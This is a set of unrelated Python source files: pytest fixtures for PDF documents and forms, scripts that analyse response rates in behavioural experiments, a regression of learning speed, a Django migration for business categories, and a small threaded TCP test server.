    yield _sample_metadata_1

@pytest.fixture
def sample_new_doc_1():
    doc = {'blob': pdf_simple_1}
    doc.update(_sample_metadata_1)
    del doc['key']
    yield doc

@pytest.fixture
def sample_owned_doc_1():
    doc = {'blob': pdf_simple_1}
    doc.update(_sample_metadata_1)
    yield doc

@pytest.fixture
def sample_doc_1():
    doc = {'blob': pdf_simple_1}
    doc.update(_sample_metadata_1)
    yield doc

@pytest.fixture
def sample_pdf_data_2():
    yield pdf_simple_2

@pytest.fixture
def sample_metadata_2():
    yield _sample_metadata_2

@pytest.fixture
def sample_doc_2():
    doc = {'blob': pdf_simple_2}
    doc.update(_sample_metadata_2)
    yield doc

@pytest.fixture
def sample_invites_1():
    yield [{'name': 'invite0', 'email': 'invite0@example.org'}, {'name': 'invite1', 'email': 'invite1@example.org'}]

@pytest.fixture
def sample_invites_2():
    yield [{'name': 'invite0', 'email': 'invite0@example.org'}, {'name': 'invite2', 'email': 'invite2@example.org'}]

@pytest.fixture
def sample_owner_1():
    yield {'name': 'owner', 'email': 'owner@example.org', 'eppn': 'owner-eppn@example.org'}

@pytest.fixture
def sample_owner_2():
    yield {'name': 'owner2', 'email': 'owner2@example.org', 'eppn': 'owner2-eppn@example.org'}

_sample_metadata_1 = {'name': 'test1.pdf', 'size': 1500000, 'type': 'application/pdf', 'key': str(uuid.uuid4())}

_sample_metadata_2 = {'name': 'test2.pdf', 'size': 1500000, 'type': 'application/pdf', 'key': str(uuid.uuid4())}

_form_1_schema = [
    {'type': 'Text', 'value': '', 'label': 'First name', 'name': 'Given Name Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Last name', 'name': 'Family Name Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': '', 'name': 'Address 1 Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'House and floor', 'name': 'House nr Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': '', 'name': 'Address 2 Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': '', 'name': 'Postcode Text Box', 'choices': None},
    {'type': 'Text', 'value': '', 'label': '', 'name': 'City Text Box', 'choices': None},
    {
        'type': 'ComboBox',
        'value': '',
        'label': 'Use selection or write country name',
        'name': 'Country Combo Box',
        'choices': [
            'Austria',
            'Belgium',
            'Britain',
            'Bulgaria',
            'Croatia',
            'Cyprus',
            'Czech-Republic',
            'Denmark',
            'Estonia',
            'Finland',
            'France',
            'Germany',
            'Greece',
            'Hungary',
            'Ireland',
            'Italy',
            'Latvia',
            'Lithuania',
            'Luxembourg',
            'Malta',
            'Netherlands',
            'Poland',
            'Portugal',
            'Romania',
            'Slovakia',
            'Slovenia',
            'Spain',
            'Sweden',
        ],
    },
    {
        'type': 'ComboBox',
        'value': 'Man',
        'label': 'Select from list',
        'name': 'Gender List Box',
        'choices': ['Man', 'Woman'],
    },
    {
        'type': 'Text',
        'value': '150',
        'label': 'Value from 40 to 250 cm',
        'name': 'Height Formatted Field',
        'choices': None,
    },
    {
        'type': 'CheckBox',
        'value': 'Off',
        'label': 'Car driving license',
        'name': 'Driving License Check Box',
        'choices': None,
    },
    {'type': 'CheckBox', 'value': 'Off', 'label': '', 'name': 'Language 1 Check Box', 'choices': None},
    {'type': 'CheckBox', 'value': 'Yes', 'label': '', 'name': 'Language 2 Check Box', 'choices': None},
    {'type': 'CheckBox', 'value': 'Off', 'label': '', 'name': 'Language 3 Check Box', 'choices': None},
    {'type': 'CheckBox', 'value': 'Off', 'label': '', 'name': 'Language 4 Check Box', 'choices': None},
    {'type': 'CheckBox', 'value': 'Off', 'label': '', 'name': 'Language 5 Check Box', 'choices': None},
    {
        'type': 'ComboBox',
        'value': 'Red',
        'label': 'Select from colour spectrum',
        'name': 'Favourite Colour List Box',
        'choices': ['Black', 'Brown', 'Red', 'Orange', 'Yellow', 'Green', 'Blue', 'Violet', 'Grey', 'White'],
    },
]

_form_2_schema = [
    {'type': 'Text', 'value': '', 'label': 'Name', 'name': 'Name', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Surname', 'name': 'Surname', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'e-Mail Address (required)', 'name': 'email', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Phone Number', 'name': 'phone', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Mobile Number', 'name': 'Mobile', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Street', 'name': 'Street', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'House Name', 'name': 'House', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Town Name', 'name': 'Town', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Postcode', 'name': 'Postcode', 'choices': None},
    {'type': 'Text', 'value': '', 'label': 'Country', 'name': 'Country', 'choices': None},
    {'type': 'TextArea', 'value': '', 'label': 'Comments', 'name': 'Comments', 'choices': None},
    {'type': 'Button', 'value': '', 'label': '', 'name': 'AloahaFormSaveButton', 'choices': None},
    {'type': 'Button', 'value': '', 'label': '', 'name': 'AloahaFormSubmitButton', 'choices': None},
]

@pytest.fixture
def sample_form_1():
    yield {
        'pdf': pdf_form_1,
        'schema': _form_1_schema,
    }

@pytest.fixture
def sample_form_2():
    yield {
        'pdf': pdf_form_2,
        'schema': _form_2_schema,
    }


import sys, os
import numpy as np
from itertools import islice

from fpe_drawing import draw_relative_rate

def load_fpe_data(path, skip_header):
    """
    Columns:
        Bloc__Id
        Bloc_Nam
        Trial_No
        Trial_Id
        TrialNam
        ITIBegin
        __ITIEnd
        StmBegin
        _Latency
        __StmEnd
        RespFreq
        ExpcResp
        __Result

    """
    if not os.path.isfile(path):
        raise "Path was not found:"+path

    data = np.genfromtxt(path,
        delimiter="\t",
        missing_values=["NA"],
        skip_header=skip_header,
        skip_footer=1,
        filling_values=None,
        names=True,
        autostrip=True,
        dtype=None
    )
    return data

def load_fpe_timestamps(path):
    """
    Columns:
        Time
        Bloc__Id
        Trial_Id
        Trial_No
        Event
    """
    if not os.path.isfile(path):
        raise "Path was not found:"+path

    data = np.genfromtxt(path,
        delimiter="\t",
        missing_values=["NA"],
        skip_header=5,
        skip_footer=1,
        filling_values=None,
        names=True,
        autostrip=True,
        dtype=None
    )
    return data

def window(seq, n=2):
    """
    https://docs.python.org/release/2.3.5/lib/itertools-example.html
     "Returns a sliding window (of width n) over data from the iterable"
     "   s -> (s0,s1,...s[n-1]), (s1,s2,...,sn), ...                   "
    """
    it = iter(seq)
    result = tuple(islice(it, n))
    if len(result) == n:
        yield result
    for elem in it:
        result = result[1:] + (elem,)
        yield result

def get_perfomance(data):
    return [line.decode("utf-8") for line in data['__Result']]

def get_session_type(data):
    fp_strings = ['FP', 'Feature Positive']
    fn_strings = ['FN', 'Feature Negative']

    bloc_name = data['Bloc_Nam'][0].decode("utf-8")
    for fp_string in fp_strings:
        if bloc_name in fp_string:
            return 'feature positive'

    for fn_string in fn_strings:
        if bloc_name in fn_string:
            return 'feature negative'

    return None

def plot_fpfn(fp_paths, fn_paths):
    pass

def consecutive_hits(paths, skip_header=13):
    overall_performance = []
    count = 0
    for path in paths:
        count += 1
        data = load_fpe_data(path, skip_header)
        session_type = get_session_type(data)
        trials = data['Trial_Id'].max()
        performance = get_perfomance(data)
        hits = performance.count('HIT')

        print('Session %s'%count)
        print('Session Type: %s'%session_type)
        print('Trials:',trials)
        print('Hits:',hits, '(%s %%)'%round((hits/trials)*100,2),'\n')
        overall_performance += performance

    # consecutive hits
    size = 12
    count = 0
    for performance_chunk in window(overall_performance,size):
        count += 1
        if performance_chunk.count('HIT') == size:
            print('The participant reached %s consecutive hits in trial %s.'%(size,count+size-1),'\n')
            return

    print('The participant DO NOT reached %s consecutive hits in %s trials.'%(size,count+size-1),'\n')

def get_events_per_trial_in_bloc(data, ts, target_bloc=2):
    session = zip(ts['Time'], ts['Bloc__Id'], ts['Trial_No'], ts['Event'])
    events_per_trial = {}
    for time, bloc_id, trial, ev in session:
        event = ev.decode("utf-8")
        if bloc_id == target_bloc:
            if trial not in events_per_trial:
                events_per_trial[trial] = {'Type':'','Time':[],'Event':[]}

            if event == 'ITI R':
                events_per_trial[trial-1]['Time'].append(time)
                events_per_trial[trial-1]['Event'].append(event)
            else:
                events_per_trial[trial]['Time'].append(time)
                events_per_trial[trial]['Event'].append(event)

    session = zip(data['TrialNam'], data['Trial_No'])
    type1 = 'Positiva'
    type2 = 'Negativa'
    for trial_name, trial_number in session:
        name = trial_name.decode('utf-8')
        if type1 in name:
            events_per_trial[trial_number]['Type'] = type1

        if type2 in name:
            events_per_trial[trial_number]['Type'] = type2

    return events_per_trial

def get_trial_starts(trials):
    starts = []
    for i, trial in trials.items():
        for time, event in zip(trial['Time'], trial['Event']):
            if event == 'TS':
                starts.append({'Time':time, 'Type':trial['Type']})

    last_type = list(trials.values())[-1]['Type']
    last_time = starts[-1]['Time']

    l = [end['Time'] - start['Time'] for start, end in zip(starts, starts[1:])]
    last_time += np.mean(l)

    starts.append({'Time':last_time, 'Type':last_type})
    return starts

def get_start_end_intervals_with_iti(starts):
    positive_intervals = []
    negative_intervals = []
    for start, end in zip(starts, starts[1:]):
        if start['Type'] == 'Positiva':
            positive_intervals.append([start['Time'], end['Time']])

        if start['Type'] == 'Negativa':
            negative_intervals.append([start['Time'], end['Time']])

    return positive_intervals, negative_intervals

def get_all_responses(ts):
    return [time for time, event in zip(ts['Time'], ts['Event']) \
        if event.decode('utf-8') == 'R' or 'ITI R']

def rate_in(time_interval_pairwise,timestamps):
    def is_inside(timestamps,rangein, rangeout):
        return [t for t in timestamps if (t >= rangein) and (t <= rangeout)]

    return [len(is_inside(timestamps, begin, end))/(end-begin) for begin, end in time_interval_pairwise]

def get_relative_rate(data1, data2):
    return [a/(b+a) if b+a > 0 else np.nan for a, b in zip(data1, data2)]

def rate(paths, skip_header=13):
    overall_performance = []
    count = 0
    for path in paths:
        data_file = load_fpe_data(path[0],skip_header)
        timestamps_file = load_fpe_timestamps(path[1])
        responses = get_all_responses(timestamps_file)
        trials = get_events_per_trial_in_bloc(data_file,timestamps_file)
        starts = get_trial_starts(trials)
        positive_intervals, negative_intervals = get_start_end_intervals_with_iti(starts)
        positive_data = rate_in(positive_intervals,responses)
        negative_data = rate_in(negative_intervals,responses)
        relative_rate = get_relative_rate(positive_data, negative_data)
        title = path[0].replace('/home/pupil/recordings/DATA/','')
        title = title.replace('/stimulus_control/000.data','')
        title = title.replace('/','_')
        title = title+'_'+get_session_type(data_file)
        title = title.replace(' ', '_')
        draw_relative_rate(relative_rate,title, True)

def get_paths(paths):
    p = []
    for root in paths['root']:
        p.append([
            os.path.join(root, paths['file'][0]),
            os.path.join(root, paths['file'][1])])
    return p

if __name__ == '__main__':

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_02_06/000_ELD/000/stimulus_control/000.data"
    # ]
    # main(paths)

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_04_11/000_HER/001/stimulus_control/000.data"
    # ]
    # consecutive_hits(paths, 14)

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_04_12/000_ATL/000/stimulus_control/000.data",
    #     "/home/pupil/recordings/DATA/2017_04_12/000_ATL/001/stimulus_control/000.data"
    # ]
    # consecutive_hits(paths)

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_04_29/000_DEM/000/stimulus_control/000.data",
    #     "/home/pupil/recordings/DATA/2017_04_29/000_DEM/001/stimulus_control/000.data",
    #     "/home/pupil/recordings/DATA/2017_04_29/000_DEM/002/stimulus_control/000.data"
    # ]
    # consecutive_hits(paths)

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_04_29/000_JES/000/stimulus_control/000.data",
    #     "/home/pupil/recordings/DATA/2017_04_29/000_JES/001/stimulus_control/000.data"
    # ]
    # consecutive_hits(paths)

    # paths = [
    #     "/home/pupil/recordings/DATA/2017_04_29/000_JUL/000/stimulus_control/000.data"
    # ]

    # consecutive_hits(paths)

    d = {
        'root': [
            '/home/pupil/recordings/DATA/2017_04_11/000_HER/001/stimulus_control'
            ],
        'file': ['000.data', '000.timestamps']
        }

    rate(get_paths(d),14)

    d = {
        'root': [
            '/home/pupil/recordings/DATA/2017_04_12/000_ATL/000/stimulus_control',
            '/home/pupil/recordings/DATA/2017_04_12/000_ATL/001/stimulus_control'
            ],
        'file': ['000.data', '000.timestamps']
        }

    rate(get_paths(d))

    d = {
        'root': [
            '/home/pupil/recordings/DATA/2017_04_29/000_DEM/000/stimulus_control',
            '/home/pupil/recordings/DATA/2017_04_29/000_DEM/001/stimulus_control',
            '/home/pupil/recordings/DATA/2017_04_29/000_DEM/002/stimulus_control'

            ],
        'file': ['000.data', '000.timestamps']
        }

    rate(get_paths(d))

    d = {
        'root': [
            '/home/pupil/recordings/DATA/2017_04_29/000_JES/000/stimulus_control',
            '/home/pupil/recordings/DATA/2017_04_29/000_JES/001/stimulus_control'
        ],
        'file': ['000.data', '000.timestamps']
    }

    rate(get_paths(d))

    d = {
        'root': [
            '/home/pupil/recordings/DATA/2017_04_29/000_JUL/000/stimulus_control'
            ],
        'file': ['000.data', '000.timestamps']
        }

    rate(get_paths(d))


"Calculates how a participant's estimated k influences learning speed."

import pickle
import os
import statsmodels.api as sm
from scipy.special import logit
import numpy as np
from bfit_samples import get_samples, get_subject_meank
from bdata import bdata, N, NTRIALS
from mpl_meanresp_curve import KMAXCURVE, KSPEED_CURVES_FN

def main():
    "Calculates the mean k and mean responses for each participant."
    with open(KSPEED_CURVES_FN, 'rb') as inpf:
        mpl_kcurves = [pickle.load(inpf) for k in range(KMAXCURVE + 1)]
    # Determine interval with maximum difference in mean response
    ini, end = None, None
    dif = 0
    for i in range(NTRIALS - 100):
        j = i + 100
        this_dif = 0
        for trial in range(i, j):
            this_dif += mpl_kcurves[0][trial] - mpl_kcurves[2][trial]
        this_dif /= 100
        if this_dif > dif:
            dif = this_dif
            ini, end = i, j
    print(dif, ini, end)
    if not os.path.exists('mean_k.pickle'):
        samples = get_samples()
        samples = samples.sample(10000)
        mean_k = [get_subject_meank(samples, i) for i in range(N)]
        with open('mean_k.pickle', 'wb') as outf:
            pickle.dump((ini, end), outf)
            pickle.dump(mean_k, outf)
    else:
        with open('mean_k.pickle', 'rb') as inpf:
            ini, end = pickle.load(inpf)
            mean_k = pickle.load(inpf)
    # ini, end = 200, 300
    mean_resp = [np.mean(y[ini:end]) for x, y in bdata]
    mod = sm.OLS(logit(mean_resp), [(1, k) for k in mean_k])
    res = mod.fit()
    print(res.summary())

if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations
import django.db.models.deletion
import smart_selects.db_fields

class Migration(migrations.Migration):

    dependencies = [
    ]

    operations = [
        migrations.CreateModel(
            name='BCategory',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('category', models.CharField(max_length=255, unique=True, null=True)),
                ('background_color', models.CharField(help_text=b'Ex: #FF0000', max_length=255, null=True, verbose_name=b'Background and Title Color')),
                ('category_icon', models.CharField(help_text=b'Ex: fa fa-car', max_length=255, unique=True, null=True)),
                ('created', models.DateTimeField(auto_now_add=True, null=True)),
                ('updated', models.DateTimeField(auto_now=True, null=True)),
            ],
            options={
                'verbose_name': 'Category',
                'verbose_name_plural': 'Categories',
            },
        ),
        migrations.CreateModel(
            name='BSubCategory',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('sub_category', models.CharField(max_length=255, null=True, verbose_name=b'Sub Category')),
                ('created', models.DateTimeField(auto_now_add=True, null=True)),
                ('updated', models.DateTimeField(auto_now=True, null=True)),
                ('category', models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, to='business_categories.BCategory', null=True)),
            ],
            options={
                'verbose_name': 'Sub Category',
                'verbose_name_plural': 'Sub Categories',
            },
        ),
        migrations.CreateModel(
            name='BSubCategoryType',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('subcat_type', models.CharField(max_length=255, null=True, verbose_name=b'Sub Category Type')),
                ('created', models.DateTimeField(auto_now_add=True, null=True)),
                ('updated', models.DateTimeField(auto_now=True, null=True)),
                ('category', models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, to='business_categories.BCategory', null=True)),
                ('sub_category', smart_selects.db_fields.ChainedForeignKey(chained_model_field=b'category', to='business_categories.BSubCategory', chained_field=b'category', null=True, auto_choose=True)),
            ],
            options={
                'verbose_name': 'Sub Category Type',
                'verbose_name_plural': 'Sub Category Types',
            },
        ),
        migrations.AlterUniqueTogether(
            name='bsubcategorytype',
            unique_together=set([('category', 'sub_category', 'subcat_type')]),
        ),
        migrations.AlterUniqueTogether(
            name='bsubcategory',
            unique_together=set([('category', 'sub_category')]),
        ),
    ]


import socketserver
from threading import Thread

def reset_all_sessions(manager):
    for i in range(0, manager.maxSessionCount()):
        manager.resetSession(i)

def close_all_sessions(manager):
    for i in range(0, manager.maxSessionCount()):
        manager.closeSession(i)

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    daemon_threads = True
    allow_reuse_address = True

class ThreadedMuteTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        while True:
            try:
                data = self.request.recv(4096)
                if len(data) == 0:
                    break
            except Exception:
                break

class MuteServerHelper:
    def __init__(self, serverIp, serverPort):
        self.server = ThreadedTCPServer((serverIp, serverPort), ThreadedMuteTCPRequestHandler)
        self.server_thread = Thread(target=self.server.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()

    def stop(self):
        self.server.shutdown()
        self.server.server_close()